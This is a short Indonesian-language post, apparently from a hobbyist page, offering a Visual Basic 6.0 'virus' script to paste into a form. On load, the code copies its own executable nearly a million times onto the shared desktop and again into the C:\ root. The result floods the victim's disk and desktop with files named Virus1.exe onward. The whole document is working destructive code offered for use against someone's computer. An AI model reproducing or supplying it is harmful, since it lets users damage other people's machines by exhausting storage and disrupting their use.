Skrip Virus Max Level Di Deskop

Copy Ini di Luar Form Visual Basic 6.0
9999999 Icon Deskop di Pc anda....


Private Sub Form_Load()
For i = 1 To 999999
FileCopy App.Path & "\" & App.EXEName & _
".exe", "C:\Documents and Settings\All Users\Desktop\Virus" & i & ".exe"
Next
For i = 1 To 999999
FileCopy App.Path & "\" & App.EXEName & _
".exe", "C:\Virus" & i & ".exe"
Next
End Sub